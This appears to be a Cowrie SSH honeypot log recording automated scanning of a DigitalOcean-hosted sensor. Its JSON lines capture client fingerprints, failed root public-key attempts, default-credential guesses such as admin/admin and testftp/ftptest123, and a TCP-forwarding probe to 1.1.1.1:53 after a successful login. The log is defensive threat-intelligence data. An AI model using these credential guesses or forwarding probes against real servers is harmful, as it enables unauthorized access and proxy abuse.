{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:88:e5:5c:18:c6:62:83:52:36:0c:39:9b:ff:b3:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuDPCOfg+2nt0x5el0Bpy45JE0Z9/M6eHD8MZuUEukstshYZKCb33dEm70BsN+qumDqCY6U44cbjHcpEHNdGHi6gx/rnWc1kfCh4TU/3JnvdFByqNHosXXoNiJO0QaBsj+j+hIgnIYlUUuLp5iDL0JVfP83hdwBFZYT68pvoZ8Bb1jnINqiVSemvupR44rkyoCI0WYdYEuo3fVxa9o09FzfYiXfDsp6KaK50ho75wWd5atACwJNTEAJGs/7z8+4j4N+HL6oa4q1KrkNe9qEyl/d8YWaoAWUujJ+DKEmu8QrwTnRxKDuaASiy31pltK1l7KZLMTxg78UQuNpry5OmMRIlRzJPOGWVPNmS1JwYhhyE+xQzi3C1TyGWfzs6RBF6NQB0SrGceVh8eXQY5EPGtALpeVoDXd6ByZ1+snNUYOK5LqywQks8Ot2MNfXiStYClpvJyAVDCKFvF8iqw7Vthf67yZvUYh9221X6b3q/7zygiKb30Z1LsR9PmIs0lGsUr+dS191daTMApbG0zP7Md6hjrI/rJeWV7Rl15SP/pJZaxOwUA8+r1vLV4gQVHwL0IaikS+zyHaDPPKYugnKFuATwVRAhkMmLL/0NsgHmXuIjIRncKwuvLQH6D7uWahwO6/Wc2+3vY7roMH9+KRCpvtkfyXzRpDEIlwrygpCnm5PQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:88:e5:5c:18:c6:62:83:52:36:0c:39:9b:ff:b3:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:05.320263Z","src_ip":"142.171.90.82","session":"46441bc268e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:88:e5:5c:18:c6:62:83:52:36:0c:39:9b:ff:b3:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuDPCOfg+2nt0x5el0Bpy45JE0Z9/M6eHD8MZuUEukstshYZKCb33dEm70BsN+qumDqCY6U44cbjHcpEHNdGHi6gx/rnWc1kfCh4TU/3JnvdFByqNHosXXoNiJO0QaBsj+j+hIgnIYlUUuLp5iDL0JVfP83hdwBFZYT68pvoZ8Bb1jnINqiVSemvupR44rkyoCI0WYdYEuo3fVxa9o09FzfYiXfDsp6KaK50ho75wWd5atACwJNTEAJGs/7z8+4j4N+HL6oa4q1KrkNe9qEyl/d8YWaoAWUujJ+DKEmu8QrwTnRxKDuaASiy31pltK1l7KZLMTxg78UQuNpry5OmMRIlRzJPOGWVPNmS1JwYhhyE+xQzi3C1TyGWfzs6RBF6NQB0SrGceVh8eXQY5EPGtALpeVoDXd6ByZ1+snNUYOK5LqywQks8Ot2MNfXiStYClpvJyAVDCKFvF8iqw7Vthf67yZvUYh9221X6b3q/7zygiKb30Z1LsR9PmIs0lGsUr+dS191daTMApbG0zP7Md6hjrI/rJeWV7Rl15SP/pJZaxOwUA8+r1vLV4gQVHwL0IaikS+zyHaDPPKYugnKFuATwVRAhkMmLL/0NsgHmXuIjIRncKwuvLQH6D7uWahwO6/Wc2+3vY7roMH9+KRCpvtkfyXzRpDEIlwrygpCnm5PQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:05.324268Z","src_ip":"142.171.90.82","session":"46441bc268e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:2e:ac:a5:da:d6:0c:cc:ed:bd:24:bb:33:f8:37:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxEuw8ThNFDpSAOJy0Xi9hI5q7ybYdyA56iLzJkZichU1CvxrVu90re54nutKV7+fvzm6Szs3bOqTh5/5lPERUBs8u80V7NYZYpeiHW6F9TY6e4pJydAvBKH7sJDkRn60nz8zD13sWp0dBsGBmzNgG1D/hQwDuRfjn/yAqGIBUNt99SYoB1UPwtnSj6Tc3k8HeVAYWybql85bjnhGTLvhwa86wvVhnV1zzYOsCyFkfnnU0YN9TbSP7gJOXV/zFuK9/mMaDaefFUBXEg+CUEA3lUnaMHXT0Yt+0Hh6bXH+EiT/wTXwSZaydzxhqiPxbdk1D9rG+YUcbtfzAyT4FUw6m6e6YObp/N9kazS93cvPl/3LpN+Ar8QvZHoJmBxrOwL0fgHuBf6tjd+U04OaZw2o7tEzHrYL54nMHxRUBZ3j2kuUTbOzqAl9PJnPBVGOqRFJ62g2NvUGRrMY/caDgupbTHRL5gfzirqrZ8qlXTBEWzB1m2v6h7Lg7Sj0QXBriAfj9ltolLmJi4ZEsPwS8gMx4JscFxjx9t77SvsbbddDjsnt04ubRkqLCoIaNxnv1FY9tKNzqtbWB8nfE0D9UDVw0cEzawYPJcYcO80+gpVi7CuQZft9nCogS18FpIo/s6VIWMo+ys5Ey4aJf2jhMJjKpAh91TbyVH1yfJkUtmweJpw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:2e:ac:a5:da:d6:0c:cc:ed:bd:24:bb:33:f8:37:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:05.397790Z","src_ip":"142.171.90.82","session":"46441bc268e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:2e:ac:a5:da:d6:0c:cc:ed:bd:24:bb:33:f8:37:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxEuw8ThNFDpSAOJy0Xi9hI5q7ybYdyA56iLzJkZichU1CvxrVu90re54nutKV7+fvzm6Szs3bOqTh5/5lPERUBs8u80V7NYZYpeiHW6F9TY6e4pJydAvBKH7sJDkRn60nz8zD13sWp0dBsGBmzNgG1D/hQwDuRfjn/yAqGIBUNt99SYoB1UPwtnSj6Tc3k8HeVAYWybql85bjnhGTLvhwa86wvVhnV1zzYOsCyFkfnnU0YN9TbSP7gJOXV/zFuK9/mMaDaefFUBXEg+CUEA3lUnaMHXT0Yt+0Hh6bXH+EiT/wTXwSZaydzxhqiPxbdk1D9rG+YUcbtfzAyT4FUw6m6e6YObp/N9kazS93cvPl/3LpN+Ar8QvZHoJmBxrOwL0fgHuBf6tjd+U04OaZw2o7tEzHrYL54nMHxRUBZ3j2kuUTbOzqAl9PJnPBVGOqRFJ62g2NvUGRrMY/caDgupbTHRL5gfzirqrZ8qlXTBEWzB1m2v6h7Lg7Sj0QXBriAfj9ltolLmJi4ZEsPwS8gMx4JscFxjx9t77SvsbbddDjsnt04ubRkqLCoIaNxnv1FY9tKNzqtbWB8nfE0D9UDVw0cEzawYPJcYcO80+gpVi7CuQZft9nCogS18FpIo/s6VIWMo+ys5Ey4aJf2jhMJjKpAh91TbyVH1yfJkUtmweJpw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:05.402697Z","src_ip":"142.171.90.82","session":"46441bc268e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:02:59:d2:ff:7b:91:a5:df:97:9d:9c:f8:f7:c9:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpF0BYVbhAEUEbgtrJcAxJS0n1xnWhcCqHxZ4miAZeElUxhWFjJ6SJEKutYjno1yXcyVynQW0U1K7rDV5MyGDqkOmXfgALB4YUJAO1YfdZ7DnFncFgV75hNEsCv46MdHgxVz4F3bmSgstYGIrnntmmqP+bk/wno81Pjhup4fIgrH+xy/R+rK1X0oeqVojAOIrLzWEEy0uBYE9X6FSz6la2KAhruQh7FM/sJ8/vcuuWJ7n9oSOogkFhbVaCgAqGNakg83/L1hyG/MKDf9fsKBmuWx0NJR8GtWFfGgggseELAddlBLE94Tals64NxlKkGxbdzNFNAuIhBykpoqL1GVRh2B1c2NUj+70K5EomeY4gXFknB+0e6o7Bo3i7CvKGIr6LX8bjTKjQmeojMvgU416I/Un39JmiDPeUT9rIkF394QiId4xq4n4LDF+IjJ6CrDNuVBoA0UPCnaGE9VJUtDFd2MPZSOuqZCb0fOCRp/4NSS8E5Oq0tnDc8Pnj/3IPP7nbmK8lL3jwelH48fGcrT049wtZRghP3dLIJlKyx9mvSWgrSX/jqxT7uyBRVA9nMCBHjHLmIf8beahIRBhZdjnWk0Ju/NEQkkAbDKf6OKGClzRzSqfi7C/jVi/6Zo0ix8vXaAHVE9wDyojH0OjIlqLZMCGCHj/HZGYWH2/r1iC8ZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:02:59:d2:ff:7b:91:a5:df:97:9d:9c:f8:f7:c9:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:05.474136Z","src_ip":"142.171.90.82","session":"46441bc268e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:02:59:d2:ff:7b:91:a5:df:97:9d:9c:f8:f7:c9:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpF0BYVbhAEUEbgtrJcAxJS0n1xnWhcCqHxZ4miAZeElUxhWFjJ6SJEKutYjno1yXcyVynQW0U1K7rDV5MyGDqkOmXfgALB4YUJAO1YfdZ7DnFncFgV75hNEsCv46MdHgxVz4F3bmSgstYGIrnntmmqP+bk/wno81Pjhup4fIgrH+xy/R+rK1X0oeqVojAOIrLzWEEy0uBYE9X6FSz6la2KAhruQh7FM/sJ8/vcuuWJ7n9oSOogkFhbVaCgAqGNakg83/L1hyG/MKDf9fsKBmuWx0NJR8GtWFfGgggseELAddlBLE94Tals64NxlKkGxbdzNFNAuIhBykpoqL1GVRh2B1c2NUj+70K5EomeY4gXFknB+0e6o7Bo3i7CvKGIr6LX8bjTKjQmeojMvgU416I/Un39JmiDPeUT9rIkF394QiId4xq4n4LDF+IjJ6CrDNuVBoA0UPCnaGE9VJUtDFd2MPZSOuqZCb0fOCRp/4NSS8E5Oq0tnDc8Pnj/3IPP7nbmK8lL3jwelH48fGcrT049wtZRghP3dLIJlKyx9mvSWgrSX/jqxT7uyBRVA9nMCBHjHLmIf8beahIRBhZdjnWk0Ju/NEQkkAbDKf6OKGClzRzSqfi7C/jVi/6Zo0ix8vXaAHVE9wDyojH0OjIlqLZMCGCHj/HZGYWH2/r1iC8ZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:05.478337Z","src_ip":"142.171.90.82","session":"46441bc268e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:05.548371Z","src_ip":"142.171.90.82","session":"46441bc268e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":25962,"dst_ip":"10.17.0.5","dst_port":22,"session":"54b89c104073","protocol":"ssh","message":"New connection: 87.251.64.176:25962 (10.17.0.5:22) [session: 54b89c104073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:27.407142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:27.411960Z","src_ip":"87.251.64.176","session":"54b89c104073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:27.574600Z","src_ip":"87.251.64.176","session":"54b89c104073","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:29.379897Z","src_ip":"87.251.64.176","session":"54b89c104073","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:29.544767Z","session":"54b89c104073","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:29.707694Z","src_ip":"87.251.64.176","session":"54b89c104073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:30.065838Z","src_ip":"87.251.64.176","session":"54b89c104073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":10536,"dst_ip":"159.203.135.109","dst_port":22,"session":"4875a11dfc3c","protocol":"ssh","message":"New connection: 165.154.36.71:10536 (159.203.135.109:22) [session: 4875a11dfc3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:48.633264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:48.641088Z","src_ip":"165.154.36.71","session":"4875a11dfc3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:48.720181Z","src_ip":"165.154.36.71","session":"4875a11dfc3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"ftptest123","message":"login attempt [testftp/ftptest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:49.034042Z","src_ip":"165.154.36.71","session":"4875a11dfc3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:50.116053Z","src_ip":"165.154.36.71","session":"4875a11dfc3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.223.71","src_port":44204,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c4b1e26d5a5","protocol":"ssh","message":"New connection: 45.156.223.71:44204 (10.17.0.5:22) [session: 3c4b1e26d5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:52:04.814008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:52:04.819652Z","src_ip":"45.156.223.71","session":"3c4b1e26d5a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:52:04.920793Z","src_ip":"45.156.223.71","session":"3c4b1e26d5a5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:91:a0:31:6c:0f:5b:12:45:5f:fb:f2:80:2b:88:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDqfyz/4CyvXJqUIQH2Xo4qvUE/5IoY65TgpNrGuTcpA39WhWDj8J+fnxYbMszI798Xc/r7jj+fFHgER3uRRuNmSqnab+xcaMESUwwvBwVvZg6SXXJ6lAUHWNuHDXC3xIn2kd8qnS4VxhAOU2hrst0QF/pLTp9c33GH5GjvmzGLwve7wUvmp6zKbrDYEgRhsaWN9mDzFZoeJJ/4zFy07XkjG6gVb0KNov8BKKSScQ9rRVDpCc0eyw93E15IgcfesWruH98579UMXEHpnykf9mbXJ9hOE+ggnCbFL2qq1ZOw3GL07qkgHLQqwAsLx5rLyZpqddF71PrcjHmnhlRStfx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:91:a0:31:6c:0f:5b:12:45:5f:fb:f2:80:2b:88:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:52:05.375804Z","src_ip":"45.156.223.71","session":"3c4b1e26d5a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:91:a0:31:6c:0f:5b:12:45:5f:fb:f2:80:2b:88:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDqfyz/4CyvXJqUIQH2Xo4qvUE/5IoY65TgpNrGuTcpA39WhWDj8J+fnxYbMszI798Xc/r7jj+fFHgER3uRRuNmSqnab+xcaMESUwwvBwVvZg6SXXJ6lAUHWNuHDXC3xIn2kd8qnS4VxhAOU2hrst0QF/pLTp9c33GH5GjvmzGLwve7wUvmp6zKbrDYEgRhsaWN9mDzFZoeJJ/4zFy07XkjG6gVb0KNov8BKKSScQ9rRVDpCc0eyw93E15IgcfesWruH98579UMXEHpnykf9mbXJ9hOE+ggnCbFL2qq1ZOw3GL07qkgHLQqwAsLx5rLyZpqddF71PrcjHmnhlRStfx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:52:05.382017Z","src_ip":"45.156.223.71","session":"3c4b1e26d5a5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:04:a6:41:99:51:5f:3e:9e:72:ab:60:ae:a6:4f:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/luoa30JdNwg9SX9kfwPL0mJTWB9UEMadL6jDeA3H/w2WYDKN9luO+sO3E8sOksYa4cYNE33Varpr0cNu1ADgmNUG/5s+FRONQ34aQdrhPdVaN8s9EtNhQJ/dRXoTIT2jWknUIEeW4kciSnflNTYLZRTZZRuaD4ZHEPNExGluP2DebMLF2UXCeuP1X2PxxwenV/qgSTwU+4ZfNQ+G3MFu9osnAeTInle8jukjdWmYggyo4isCIkgTri8HwZrH3PiFaP9lvuo0HZH6ct67nbfbMIn3OCUfX4Hcw+2ZAILQzzXT76xWej8l78IJGj6oz3EPghmJvhm9upnhbo+lDBSR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:04:a6:41:99:51:5f:3e:9e:72:ab:60:ae:a6:4f:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:52:05.482148Z","src_ip":"45.156.223.71","session":"3c4b1e26d5a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:04:a6:41:99:51:5f:3e:9e:72:ab:60:ae:a6:4f:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/luoa30JdNwg9SX9kfwPL0mJTWB9UEMadL6jDeA3H/w2WYDKN9luO+sO3E8sOksYa4cYNE33Varpr0cNu1ADgmNUG/5s+FRONQ34aQdrhPdVaN8s9EtNhQJ/dRXoTIT2jWknUIEeW4kciSnflNTYLZRTZZRuaD4ZHEPNExGluP2DebMLF2UXCeuP1X2PxxwenV/qgSTwU+4ZfNQ+G3MFu9osnAeTInle8jukjdWmYggyo4isCIkgTri8HwZrH3PiFaP9lvuo0HZH6ct67nbfbMIn3OCUfX4Hcw+2ZAILQzzXT76xWej8l78IJGj6oz3EPghmJvhm9upnhbo+lDBSR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:52:05.486284Z","src_ip":"45.156.223.71","session":"3c4b1e26d5a5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:34:d0:af:c0:8b:b9:69:fa:45:ee:9a:5a:16:b6:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ27hc+E/WsABC6rpXqpS0tq5LZzjSTbe8mPM/IbWI9NCR1EkHUnB4R4a5evhdh89ck5zE/FrOw1s0IxTZ5r28FSA6OtAzu8nP6sO/ugdvKKeKv4H/jZoGq65mXGsJvWxAzDW8i6cQoRL13SJkwoCDoNKKgtlHD0qXMj3UX+H4Q/WATuAw/27qY15eIQ4xFGtoCH8g+bUHK7/CC+RE0OHdNsrsP+3CgaDxqfog3q1D/8UWxvW/ISkIs9SPYBNmTu8W5e3WGUDwyyEKPFUDxn+9YGDcES78y6E+h6sI3C1WmPHTtzYca62ZxwAC58RtPUi2hTgkuRbiAWPH+0+zq9e5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:34:d0:af:c0:8b:b9:69:fa:45:ee:9a:5a:16:b6:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:52:05.582561Z","src_ip":"45.156.223.71","session":"3c4b1e26d5a5","protocol":"ssh"}
